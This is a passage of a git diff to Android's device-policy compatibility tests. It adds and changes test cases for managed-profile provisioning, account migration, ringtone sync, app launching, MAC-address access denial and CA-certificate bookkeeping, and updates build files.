+        super.onCreate(savedInstanceState);
+        ProvisioningTest.getSharedPreferences(this).edit()
+                .putBoolean(ProvisioningTest.KEY_PROVISIONING_SUCCESSFUL_RECEIVED, true).commit();
+        finish();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
new file mode 100644
index 0000000..d911812
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ACCOUNT_TO_MIGRATE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.PersistableBundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.util.Log;
+
+import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
+import org.junit.Before;
+import org.junit.Test;
+
+@SmallTest
+public class ProvisioningTest {
+    private static final String TAG = ProvisioningTest.class.getSimpleName();
+
+    private static final String SHARED_PREFERENCE_FILE_NAME = "shared-preferences-file-name";
+
+    private static final PersistableBundle ADMIN_EXTRAS_BUNDLE = new PersistableBundle();
+    private static final String ADMIN_EXTRAS_BUNDLE_KEY_1 = "KEY_1";
+    private static final String ADMIN_EXTRAS_BUNDLE_VALUE_1 = "VALUE_1";
+    static {
+        ADMIN_EXTRAS_BUNDLE.putString(ADMIN_EXTRAS_BUNDLE_KEY_1, ADMIN_EXTRAS_BUNDLE_VALUE_1);
+    }
+
+    public static final String KEY_PROVISIONING_SUCCESSFUL_RECEIVED =
+            "key-provisioning-successful-received";
+
+    private static final ComponentName ADMIN_RECEIVER_COMPONENT = new ComponentName(
+            ProvisioningAdminReceiver.class.getPackage().getName(),
+            ProvisioningAdminReceiver.class.getName());
+
+    public static class ProvisioningAdminReceiver extends DeviceAdminReceiver {
+        @Override
+        public void onProfileProvisioningComplete(Context context, Intent intent) {
+            super.onProfileProvisioningComplete(context, intent);
+            // Enabled profile
+            getManager(context).setProfileName(ADMIN_RECEIVER_COMPONENT, "Managed Profile");
+            getManager(context).setProfileEnabled(ADMIN_RECEIVER_COMPONENT);
+            Log.i(TAG, "onProfileProvisioningComplete");
+
+            saveBundle(context, intent.getParcelableExtra(EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE));
+        }
+    }
+
+    private Context mContext;
+    private DevicePolicyManager mDpm;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mDpm = mContext.getSystemService(DevicePolicyManager.class);
+    }
+
+    @Test
+    public void testIsManagedProfile() {
+        assertTrue(mDpm.isManagedProfile(ADMIN_RECEIVER_COMPONENT));
+        Log.i(TAG, "managed profile app: " + ADMIN_RECEIVER_COMPONENT.getPackageName());
+    }
+
+    @Test
+    public void testProvisionManagedProfile() throws InterruptedException {
+        provisionManagedProfile(createBaseProvisioningIntent());
+    }
+
+    @Test
+    public void testProvisionManagedProfile_accountCopy() throws InterruptedException {
+        provisionManagedProfile(createBaseProvisioningIntent()
+                .putExtra(EXTRA_PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION, true));
+    }
+
+    @Test
+    public void testVerifyAdminExtraBundle() {
+        PersistableBundle bundle = loadBundle(mContext);
+        assertNotNull(bundle);
+        assertEquals(ADMIN_EXTRAS_BUNDLE_VALUE_1, bundle.getString(ADMIN_EXTRAS_BUNDLE_KEY_1));
+    }
+
+    @Test
+    public void testVerifySuccessfulIntentWasReceived() {
+        assertTrue(getSharedPreferences(mContext).getBoolean(KEY_PROVISIONING_SUCCESSFUL_RECEIVED,
+                false));
+    }
+
+    @Test
+    public void testAccountExist() {
+        AccountManager am = AccountManager.get(mContext);
+        for (Account account : am.getAccountsByType(AccountAuthenticator.ACCOUNT_TYPE)) {
+            if (AccountAuthenticator.TEST_ACCOUNT.equals(account)) {
+                return;
+            }
+        }
+        fail("can't find migrated account");
+    }
+
+    @Test
+    public void testAccountNotExist() {
+        AccountManager am = AccountManager.get(mContext);
+        assertTrue("test account still exists after account migration",
+                am.getAccountsByType(AccountAuthenticator.ACCOUNT_TYPE).length == 0);
+    }
+
+    public Intent createBaseProvisioningIntent() {
+        return new Intent(ACTION_PROVISION_MANAGED_PROFILE)
+                .putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, ADMIN_RECEIVER_COMPONENT)
+                .putExtra(EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
+                .putExtra(EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE, ADMIN_EXTRAS_BUNDLE)
+                .putExtra(EXTRA_PROVISIONING_ACCOUNT_TO_MIGRATE, addAndGetTestAccount());
+    }
+
+    private void provisionManagedProfile(Intent intent) throws InterruptedException {
+        SilentProvisioningTestManager provisioningManager = new SilentProvisioningTestManager(mContext);
+        assertTrue(provisioningManager.startProvisioningAndWait(intent));
+        Log.i(TAG, "managed profile provisioning successful");
+    }
+
+    private Account addAndGetTestAccount() {
+        Account account = AccountAuthenticator.TEST_ACCOUNT;
+        AccountManager.get(mContext).addAccountExplicitly(account, null, null);
+        return account;
+    }
+
+    private static void saveBundle(Context context, PersistableBundle bundle) {
+        if (bundle == null) {
+            Log.e(TAG, "null saveBundle");
+            return;
+        }
+
+        getSharedPreferences(context).edit()
+                .putString(ADMIN_EXTRAS_BUNDLE_KEY_1, bundle.getString(ADMIN_EXTRAS_BUNDLE_KEY_1))
+                .commit();
+    }
+
+    private static PersistableBundle loadBundle(Context context) {
+        SharedPreferences pref = getSharedPreferences(context);
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putString(ADMIN_EXTRAS_BUNDLE_KEY_1,
+                pref.getString(ADMIN_EXTRAS_BUNDLE_KEY_1, null));
+        return bundle;
+    }
+
+    public static SharedPreferences getSharedPreferences(Context context) {
+        return context.getSharedPreferences(SHARED_PREFERENCE_FILE_NAME, 0);
+    }
+
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/RingtoneSyncTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/RingtoneSyncTest.java
new file mode 100644
index 0000000..ec8c09e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/RingtoneSyncTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import static android.provider.Settings.Secure.SYNC_PARENT_SOUNDS;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.media.RingtoneManager;
+import android.net.Uri;
+import android.provider.Settings;
+
+/**
+ * Tests that managed profile ringtones work, as well as the "sync from parent profile" feature
+ */
+public class RingtoneSyncTest extends BaseManagedProfileTest {
+
+    private static final int[] RINGTONE_TYPES = {
+            RingtoneManager.TYPE_RINGTONE, RingtoneManager.TYPE_NOTIFICATION,
+            RingtoneManager.TYPE_ALARM
+    };
+
+    private ContentResolver mContentResolver;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = mContext.getContentResolver();
+    }
+
+    /**
+     * Checks that the ringtone set in the settings provider and the ringtone retrieved from
+     * RingtoneManager are identical.
+     *
+     * Used to test that the ringtone sync setting is enabled by default, and that managed profile
+     * ringtones are kept in sync with parent profile ringtones, despite the setting being kept in
+     * another user from the caller.
+     */
+    public void testRingtoneSync() throws Exception {
+        // Managed profile was just created, so sync should be active by default
+        assertEquals(1, Settings.Secure.getInt(mContentResolver, SYNC_PARENT_SOUNDS));
+
+        String defaultRingtone = Settings.System.getString(mContentResolver,
+                Settings.System.RINGTONE);
+        String defaultNotification = Settings.System.getString(mContentResolver,
+                Settings.System.NOTIFICATION_SOUND);
+        String defaultAlarm = Settings.System.getString(mContentResolver,
+                Settings.System.ALARM_ALERT);
+
+        // RingtoneManager API should retrieve the same ringtones
+        validateRingtoneManagerGetRingtone(defaultRingtone, RingtoneManager.TYPE_RINGTONE);
+        validateRingtoneManagerGetRingtone(defaultNotification, RingtoneManager.TYPE_NOTIFICATION);
+        validateRingtoneManagerGetRingtone(defaultAlarm, RingtoneManager.TYPE_ALARM);
+    }
+
+    private void validateRingtoneManagerGetRingtone(String expected, int type) {
+        Uri expectedUri = (expected == null ? null : Utils.getUriWithoutUserId(
+                Uri.parse(expected)));
+        Uri actualRingtoneUri = Utils.getUriWithoutUserId(
+                RingtoneManager.getActualDefaultRingtoneUri(mContext, type));
+        assertEquals(expectedUri, actualRingtoneUri);
+    }
+
+    /*
+     * Tests that setting a work ringtone disables Settings.Secure.SYNC_PARENT_SOUNDS.
+     */
+    private void testSoundDisableSync(int ringtoneType) throws Exception {
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(mContext, ringtoneType);
+
+        // Make sure we have the rights we need to set a new ringtone.
+        assertTrue(Settings.System.canWrite(mContext));
+
+        // Explicitly set a work sound, to stop syncing ringtones between profiles.
+        assertEquals(1, Settings.Secure.getInt(mContentResolver, SYNC_PARENT_SOUNDS));
+        try {
+            RingtoneManager.setActualDefaultRingtoneUri(mContext, ringtoneType, null);
+            assertEquals(0, Settings.Secure.getInt(mContentResolver, SYNC_PARENT_SOUNDS));
+            validateRingtoneManagerGetRingtone(null, ringtoneType);
+        } finally {
+            // Reset the setting we just changed.
+            Settings.Secure.putInt(mContentResolver, SYNC_PARENT_SOUNDS, 1);
+        }
+
+        // After re-unifying, the uri should be the same as the parent's uri.
+        Uri postSyncUri = RingtoneManager.getActualDefaultRingtoneUri(mContext, ringtoneType);
+        assertEquals(originalUri, postSyncUri);
+
+        // Manually disabling sync again, without changing settings, should put the ringtone uri
+        // back to its earlier value of null.
+        try {
+            Settings.Secure.putInt(mContentResolver, SYNC_PARENT_SOUNDS, 0);
+            assertNull(RingtoneManager.getActualDefaultRingtoneUri(mContext, ringtoneType));
+        } finally {
+            Settings.Secure.putInt(mContentResolver, SYNC_PARENT_SOUNDS, 1);
+        }
+    }
+
+    public void testRingtoneDisableSync() throws Exception {
+        testSoundDisableSync(RingtoneManager.TYPE_RINGTONE);
+    }
+
+    public void testNotificationDisableSync() throws Exception {
+        testSoundDisableSync(RingtoneManager.TYPE_NOTIFICATION);
+    }
+
+    public void testAlarmDisableSync() throws Exception {
+        testSoundDisableSync(RingtoneManager.TYPE_ALARM);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java
new file mode 100644
index 0000000..28c7e25
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNotNull;
+
+/**
+ * Basic sanity test to ensure some basic functionalities of work profile are working.
+ */
+public class SanityTest {
+    private static final ComponentName SIMPLE_APP_ACTIVITY =
+            new ComponentName(
+                    "com.android.cts.launcherapps.simpleapp",
+                    "com.android.cts.launcherapps.simpleapp.SimpleActivity");
+    /**
+     * Broadcast sent from com.android.cts.launcherapps.simpleapp.SimpleActivity.
+     */
+    private static final String ACTIVITY_LAUNCHED_ACTION =
+            "com.android.cts.launchertests.LauncherAppsTests.LAUNCHED_ACTION";
+
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    /**
+     * Verify that we can launch an app that installed in work profile only.
+     */
+    @Test
+    public void testLaunchAppInstalledInProfileOnly() throws Exception {
+        BlockingBroadcastReceiver receiver =
+                new BlockingBroadcastReceiver(mContext, ACTIVITY_LAUNCHED_ACTION);
+        try {
+            receiver.register();
+            Intent intent = new Intent();
+            intent.setComponent(SIMPLE_APP_ACTIVITY);
+            // Finish the activity after that.
+            intent.putExtra("finish", true);
+            mContext.startActivity(intent);
+            Intent receivedBroadcast = receiver.awaitForBroadcast();
+            assertNotNull(receivedBroadcast);
+            assertEquals(ACTIVITY_LAUNCHED_ACTION, receivedBroadcast.getAction());
+        } finally {
+            receiver.unregisterQuietly();
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/TrustAgentInfoTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/TrustAgentInfoTest.java
index 2e2a334..36dcce5 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/TrustAgentInfoTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/TrustAgentInfoTest.java
@@ -89,8 +89,8 @@
     }
 
     public void testSetTrustAgentConfiguration_bothHaveTrustAgentConfigAndNonUnified() {
-        // Enable separate challenge for the managed profile.
-        mDevicePolicyManager.resetPassword("1234", 0);
+        // Precondition: separate challenge for the managed profile should have been enabled.
+
         // Set both trust agents.
         setTrustAgentConfiguration(false /* isParent */);
         setTrustAgentConfiguration(true /* isParent */);
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/Utils.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/Utils.java
new file mode 100644
index 0000000..a493182
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/Utils.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import android.net.Uri;
+
+class Utils {
+
+    /** Copied from {@link android.content.ContentProvider} */
+    public static Uri getUriWithoutUserId(Uri uri) {
+        if (uri == null) {
+            return null;
+        }
+        Uri.Builder builder = uri.buildUpon();
+        builder.authority(getAuthorityWithoutUserId(uri.getAuthority()));
+        return builder.build();
+    }
+
+    /** Copied from {@link android.content.ContentProvider} */
+    public static String getAuthorityWithoutUserId(String auth) {
+        if (auth == null) {
+            return null;
+        }
+        int end = auth.lastIndexOf('@');
+        return auth.substring(end + 1);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java
index 124ebe8..3b2c7f8 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.managedprofile;
 
+import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.content.Intent;
 import android.net.wifi.WifiConfiguration;
@@ -122,6 +123,16 @@
         assertTrue(awaitNetworkState(NETWORK_SSID, /* exists */ false));
     }
 
+    public void testCannotGetWifiMacAddress() {
+        DevicePolicyManager dpm = getContext().getSystemService(DevicePolicyManager.class);
+        try {
+            dpm.getWifiMacAddress(BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT);
+            fail("Managed Profile owner shouldn't be able to get the MAC address");
+        } catch (SecurityException expected) {
+
+        }
+    }
+
     /**
      * Block until a network configuration with a certain SSID either exists or ceases to.
      * Wait for up to {@link WifiTest#UPDATE_TIMEOUT_MS} milliseconds, in increments of
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
index 293bc62..3c0a2a1 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
@@ -26,13 +26,9 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-v4 \
-    ctstestrunner \
-    ub-uiautomator \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator
 
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml b/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
index 0380bc2..4b69ba6 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
@@ -19,6 +19,8 @@
 
     <uses-sdk android:minSdkVersion="21"/>
 
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
+
     <application
         android:testOnly="true">
 
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
index f994e9e..3550a3f 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
@@ -46,7 +46,7 @@
     private static final String ACTION_INSTALL_COMMIT =
             "com.android.cts.deviceowner.INTENT_PACKAGE_INSTALL_COMMIT";
     protected static final int PACKAGE_INSTALLER_STATUS_UNDEFINED = -1000;
-    public static final String PACKAGE_NAME = SilentPackageInstallTest.class.getPackage().getName();
+    public static final String PACKAGE_NAME = BasePackageInstallTest.class.getPackage().getName();
 
     protected Context mContext;
     protected UiDevice mDevice;
@@ -133,23 +133,6 @@
         assertTrue(isPackageInstalled(TEST_APP_PKG));
     }
 
-    protected boolean tryUninstallPackage() throws Exception {
-        assertTrue(isPackageInstalled(TEST_APP_PKG));
-        synchronized (mPackageInstallerTimeoutLock) {
-            mCallbackReceived = false;
-            mCallbackStatus = PACKAGE_INSTALLER_STATUS_UNDEFINED;
-        }
-        mPackageInstaller.uninstall(TEST_APP_PKG, getCommitCallback(0));
-        synchronized (mPackageInstallerTimeoutLock) {
-            try {
-                mPackageInstallerTimeoutLock.wait(PACKAGE_INSTALLER_TIMEOUT_MS);
-            } catch (InterruptedException e) {
-            }
-            assertTrue(mCallbackReceived);
-            return mCallbackStatus == PackageInstaller.STATUS_SUCCESS;
-        }
-    }
-
     protected void installPackage(String packageLocation) throws Exception {
         PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
                 PackageInstaller.SessionParams.MODE_FULL_INSTALL);
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/SilentPackageInstallTest.java b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/SilentPackageInstallTest.java
deleted file mode 100644
index f1a80b9..0000000
--- a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/SilentPackageInstallTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.packageinstaller;
-
-/**
- * This class tests silent package install and uninstall by a device owner.
- */
-public class SilentPackageInstallTest extends BasePackageInstallTest {
-    public void testSilentInstallUninstall() throws Exception {
-        // install the app
-        assertInstallPackage();
-
-        // uninstall the app again
-        assertTrue(tryUninstallPackage());
-        assertFalse(isPackageInstalled(TEST_APP_PKG));
-    }
-
-    public void testUninstallBlocked() throws Exception {
-        // install the app
-        assertInstallPackage();
-
-        mDevicePolicyManager.setUninstallBlocked(getWho(), TEST_APP_PKG, true);
-        assertTrue(mDevicePolicyManager.isUninstallBlocked(getWho(), TEST_APP_PKG));
-        assertTrue(mDevicePolicyManager.isUninstallBlocked(null, TEST_APP_PKG));
-        assertFalse(tryUninstallPackage());
-        assertTrue(isPackageInstalled(TEST_APP_PKG));
-
-        mDevicePolicyManager.setUninstallBlocked(getWho(), TEST_APP_PKG, false);
-        assertFalse(mDevicePolicyManager.isUninstallBlocked(getWho(), TEST_APP_PKG));
-        assertFalse(mDevicePolicyManager.isUninstallBlocked(null, TEST_APP_PKG));
-        assertTrue(tryUninstallPackage());
-        assertFalse(isPackageInstalled(TEST_APP_PKG));
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
index 98c0220..6f9ef5d 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
@@ -24,15 +24,11 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner conscrypt cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
-    ub-uiautomator \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util ub-uiautomator
 
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
index 80b5358..26efd97 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
@@ -19,6 +19,8 @@
 
     <uses-sdk android:minSdkVersion="24"/>
 
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+
     <application
         android:testOnly="true">
 
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AdminActionBookkeepingTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AdminActionBookkeepingTest.java
new file mode 100644
index 0000000..ba7919d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AdminActionBookkeepingTest.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.profileowner;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.os.Process;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import com.android.org.conscrypt.TrustedCertificateStore;
+
+import java.io.ByteArrayInputStream;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
+import java.util.List;
+
+public class AdminActionBookkeepingTest extends BaseProfileOwnerTest {
+    /*
+     * The CA cert below is the content of cacert.pem as generated by:
+     *
+     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+     */
+    private static final String TEST_CA =
+            "-----BEGIN CERTIFICATE-----\n" +
+            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
+            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
+            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
+            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
+            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
+            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
+            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
+            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
+            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
+            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
+            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
+            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
+            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
+            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
+            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
+            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
+            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
+            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
+            "wQ==\n" +
+            "-----END CERTIFICATE-----";
+
+    @Override
+    protected void tearDown() throws Exception {
+        mDevicePolicyManager.uninstallCaCert(getWho(), TEST_CA.getBytes());
+
+        super.tearDown();
+    }
+
+    /**
+     * Test: It should be recored whether the Profile Owner or the user set the current IME.
+     */
